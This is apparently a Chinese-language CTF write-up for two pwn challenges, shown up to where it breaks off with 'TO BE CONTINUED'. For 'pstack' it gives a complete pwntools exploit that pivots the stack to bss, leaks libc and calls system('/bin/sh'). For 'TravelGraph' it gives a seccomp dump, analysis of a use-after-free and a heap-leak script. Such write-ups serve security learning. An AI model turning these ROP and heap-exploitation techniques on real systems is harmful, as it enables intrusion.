pstack

分析

非常经典的没有回显的0x10字节溢出,栈迁移。第一件事就要先考虑怎么泄露出libc地址。我们选择将栈劫持到bss段。从汇编代码可知vuln函数栈帧开辟了0x30大小,所以把rbp劫持为某个选定的bss段+0x30,这样rbp就会跳到bss+0x30。

pstack_rbp迁移到bss段

因为read函数是通过lea rax, [rbp - 0x30]寻址的,所以下一次read的时候payload会被写到0x601818。我们直接在这个地址上写泄露libc地址的ropchain,然后在rbp的地址处写上0x601810的话,rbp就会被劫持到那,这样经过一次leave ret之后就会从0x601850开始执行了。在这里写上leave ret,就能将rsp劫持到0x601818开始执行ropchain。这里需要注意一点是,一定要多执行一个mov rbp,rsp恢复一下两个的位置关系,因为这会rbp是0,不恢复的话后面的read没法寻址。

pstack_rbp迁移到bss段2

泄露出来libc之后后面写system的ropchain就和前面的思路一样了。也是执行两次read两次leave ret后执行ropchain。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level="debug", arch="amd64")
r = process('./pwn')
e = ELF('./pwn')
libc = ELF('./libc.so.6')

bss = e.bss()+0x808
leave_ret = 0x4006DB
vuln = 0x4006b0
vuln_sub_30 = 0x4006B4
rdi = 0x400773
ret = 0x4006DC
print(hex(bss))

payload = b'a'*0x30+p64(bss+0x30)+p64(vuln_sub_30)
payload1 = p64(rdi)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(vuln)+p64(bss-0x8)*3+p64(leave_ret)
r.send(payload)
r.send(payload1)

r.recvuntil(b"Can you grasp this little bit of overflow?\n")
r.recvuntil(b"Can you grasp this little bit of overflow?\n")
puts_addr = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
libc_base = puts_addr-libc.sym['puts']
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search(b'/bin/sh'))
print(hex(libc_base))

payload2 = p64(ret)+p64(rdi)+p64(binsh)+p64(system)+p64(bss-0x8)*3+p64(leave_ret)
r.send(payload)
r.send(payload2)

r.interactive()

TravelGraph

分析

Dijkstra算法学习

开了沙盒

1
2
3
4
5
6
7
8
9
10
11
12
$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

那就走正常的orw。因为是2.35堆题,所以经典的apple2+setcontext+orw的组合。第一次调板子,好好分析一下这题。

审计代码发现delete的时候只清空了堆内对于城市名字记录的内容,没有清空route数组中地址的储存,所以有UAF漏洞。

模板函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(log_level="debug", arch="amd64")
r = process("./pwn")
# r = remote('',)


def cmd(i):
r.sendlineafter(b". Calculate the distance.", str(i).encode())


def add(vehicle, start, destination, far, note):
cmd(1)
r.sendlineafter(
b"What kind of transportation do you want? car/train/plane?", vehicle)
r.sendlineafter(b"From where?", start)
r.sendlineafter(b"To where?", destination)
r.sendlineafter(b"How far?", str(far).encode())
r.sendafter(b"Note:", note)


def free(start, destination):
cmd(2)
r.sendlineafter(b"From where?", start)
r.sendlineafter(b"To where?", destination)


def show(start, destination):
cmd(3)
r.sendlineafter(b"From where?", start)
r.sendlineafter(b"To where?", destination)


def edit(start, destination, idx, far, note):
cmd(4)
r.sendlineafter(b"From where?", start)
r.sendlineafter(b"To where?", destination)
r.sendlineafter(b"Which one do you want to change?", str(idx).encode())
r.sendlineafter(b"How far?", str(far).encode())
r.sendafter(b"Note:", note)


def dj(name):
cmd(5)
r.sendline(name)

这道题因为开了沙盒,所以程序在初始化的时候就已经申请并且释放了很多堆到tcachebin甚至fastbin中,所以布局的时候需要注意。但是这道题里申请的堆至少是0x520大小的,所以一般情况下其实也不会涉及到tcachebin。

泄露堆地址

这个show函数打印的内容是chunk+8和chunk+0x10两个地方,但是如果free之后,虽然有uaf,但是清空了堆里的城市名字之后,会识别不到相应的chunk,所以必须只能申请了释放掉再申请才能打印,这样一来,chunk+8的位置又被覆盖了。但是如果chunk进入了largebin,就会在chunk+0x10和0x18的地方留下堆地址,这里不会被覆盖。所以只要将chunk+0x10填满8字节就能把0x18处的堆地址带出来。

1
2
3
4
5
6
7
8
9
10
11
add(b'car', b'guangzhou', b'nanning', 100, b'deadbeef')  # 0x520
add(b'train', b'nanning', b'changsha', 100, b'deadbeef') # 0x530
free(b'guangzhou', b'nanning')

add(b'train', b'changsha', b'nanchang', 100, b'deadbeef') # 0x530
add(b'car', b'guangzhou', b'nanning', 100, b'deadbeef') # 0x520
show(b'guangzhou', b'nanning')
r.recvuntil(b"Note:deadbeef")
heap_addr = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
heapbase = heap_addr-0x1470
print("hex(addr)", hex(heapbase))
关于edit功能

edit这里有两个限制,一个是只能edit一次,第二是需要手动赋予edit的机会。第二个限制需要通过Dijkstra算法计算满足总路程超过2000才能有edit机会。所以我们在add的时候还要考虑路径要连得上,并且距离给大一点(不能超过1000)。

所以在刚刚泄露堆地址的时候就把这个考虑进去,修改一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
add(b'car', b'guangzhou', b'nanning', 900, b'deadbeef')  # 0x520
add(b'train', b'nanning', b'changsha', 900, b'deadbeef') # 0x530
free(b'guangzhou', b'nanning')

add(b'train', b'changsha', b'nanchang', 900, b'deadbeef') # 0x530
add(b'car', b'guangzhou', b'nanning', 900, b'deadbeef') # 0x520
show(b'guangzhou', b'nanning')
r.recvuntil(b"Note:deadbeef")
heap_addr = u64(r.recv(6)[-6:].ljust(8, b'\x00'))
heapbase = heap_addr-0x1470
print("hex(addr)", hex(heapbase))

dj(b"nanchang")
泄露libc地址

泄露完堆地址之后的堆布局长这样(不考虑沙盒开的那堆tcachebin chunk)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Allocated chunk | PREV_INUSE
Addr: 0x55ab97f4a470
Size: 0x520 (with flag bits: 0x521)

Allocated chunk | PREV_INUSE
Addr: 0x55ab97f4a990
Size: 0x530 (with flag bits: 0x531)

Allocated chunk | PREV_INUSE
Addr: 0x55ab97f4aec0
Size: 0x530 (with flag bits: 0x531)

Top chunk | PREV_INUSE
Addr: 0x55ab97f4b3f0
Size: 0x1ec10 (with flag bits: 0x1ec11)

由于show的时候需要查城市名字,所以能想到的泄露libc的方法只有从unsortedbin chunk切割了

TO BE CONTINUED…

⬆︎TOP